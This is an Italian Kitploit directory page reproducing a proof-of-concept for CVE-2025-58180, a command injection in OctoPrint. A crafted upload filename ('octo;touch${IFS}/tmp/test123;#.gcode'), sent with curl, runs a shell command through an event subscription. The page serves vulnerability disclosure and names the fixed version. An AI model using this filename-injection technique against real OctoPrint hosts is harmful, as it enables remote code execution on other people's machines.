Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-58180 — In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento dei file (ad esempio, una chiave API valida o una sessione) può creare un nome file malevolo che bypassa la sanitizzazione e viene successivamente eseguito dal sistema di eventi di OctoPrint, portando all'esecuzione remota di codice (RCE) sull'host. | Kitploit
Strumenti/GitHubGitHub/prabhatverma47/cve-2025-58180
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
1 anno faNon ancora revisionato

Informazioni

In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento dei file (ad esempio, una chiave API valida o una sessione) può creare un nome file malevolo che bypassa la sanitizzazione e viene successivamente eseguito dal sistema di eventi di OctoPrint, portando all'esecuzione remota di codice (RCE) sull'host.

Condividi

CVE-2025-58180 RCE in OctoPrint attraverso nome file non sanificato nel caricamento file

In OctoPrint versione <=1.11.2, un attaccante con accesso al caricamento file (es. chiave API valida o sessione) può creare un nome file malevolo che bypassa la sanificazione e viene successivamente eseguito dal sistema eventi di OctoPrint, portando a esecuzione di codice remoto (RCE) sull'host


PoC: Passaggi per ricreare la vulnerabilità

Step 1: Informazioni sulla versione

Scaricata ultima release stabile: OctoPrint 1.11.2

image

Step 2: Avvia OctoPrint

root@kitploit:~
octoprint serve --port 5000 --debug
  • Apri http://127.0.0.1:5000 nel browser.
  • Segui la procedura guidata iniziale → crea un utente con impostazioni predefinite (disabilitati: connettività, anonimo, plugin).
  • Prendi la chiave API da Impostazioni → API → salva per dopo. image
  • Ferma il servizio OctoPrint una volta completati i passaggi precedenti.


    Step 3: Configura la sottoscrizione agli eventi

    Segui la documentazione sugli eventi di OctoPrint:

    Modifica ~/.octoprint/config.yaml:

    root@kitploit:~
    events:
      enabled: true
      subscriptions:
        - event: FileAdded
          type: system
          debug: true
          command: "{path}"
    
    image

    Step 4: Crea un G-code di esempio

    Crea /tmp/gcode/ok.gcode:

    root@kitploit:~
    ; minimal gcode
    G28
    M105
    

    Riavvia il servizio OctoPrint.


    Step 5: Prova di concetto (PoC) RCE

    1. Esporta la chiave API:
    root@kitploit:~
    export API_KEY='<key previously gathered from webUI>'
    
    1. Verifica che il file non esista:
    root@kitploit:~
    ls -la /tmp/test123
    
    1. Crea il payload del nome file malevolo: INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

    Spiegazione: ${IFS} è il separatore di campo interno (Internal Field Separator) della shell (di solito uno spazio). Bypassa la sanificazione quando viene iniettato.

    1. Invia la richiesta curl:
    root@kitploit:~
    curl -sS -X POST -H "X-Api-Key: $API_KEY" \
      -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
      "http://127.0.0.1:5000/api/files/local"
    
    1. Verifica l'esecuzione:
    root@kitploit:~
    ls -la /tmp/test123
    
    image

    Se /tmp/test123 esiste, il comando iniettato è stato eseguito con successo → RCE confermata.


    Spiegazione del flusso

    root@kitploit:~
    [Caricamento utente con nome file malevolo]
            │
            ▼
    server/api/files.py → accetta nome file grezzo (i metacaratteri sopravvivono a sanitize_name)
            │
            ▼
    events.py (EventManager.fire "FileAdded") → payload {path} include caratteri grezzi
            │
            ▼
    sottoscrittore comando di sistema → subprocess.check_call(..., shell=True)
            │
            ▼
    [I metacaratteri shell iniettati vengono eseguiti come comandi del sistema operativo]
    

    Riepilogo

    Quando un file viene caricato:

    1. OctoPrint accetta il nome file (con sanificazione limitata).
    2. Attiva un evento FileAdded.
    3. Se i comandi di sistema sono sottoscritti a questo evento, il nome file grezzo (inclusi ;, ${IFS}, ecc.) viene passato a una shell.
    4. Questo permette ai comandi iniettati all'interno del nome file di essere eseguiti sull'host.

    Risultato: Esecuzione di codice remoto (RCE) sul sistema host.

    Riferimenti

    • CVE Assegnato:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
    • Versione corretta: 1.11.3

    Scarica lo strumento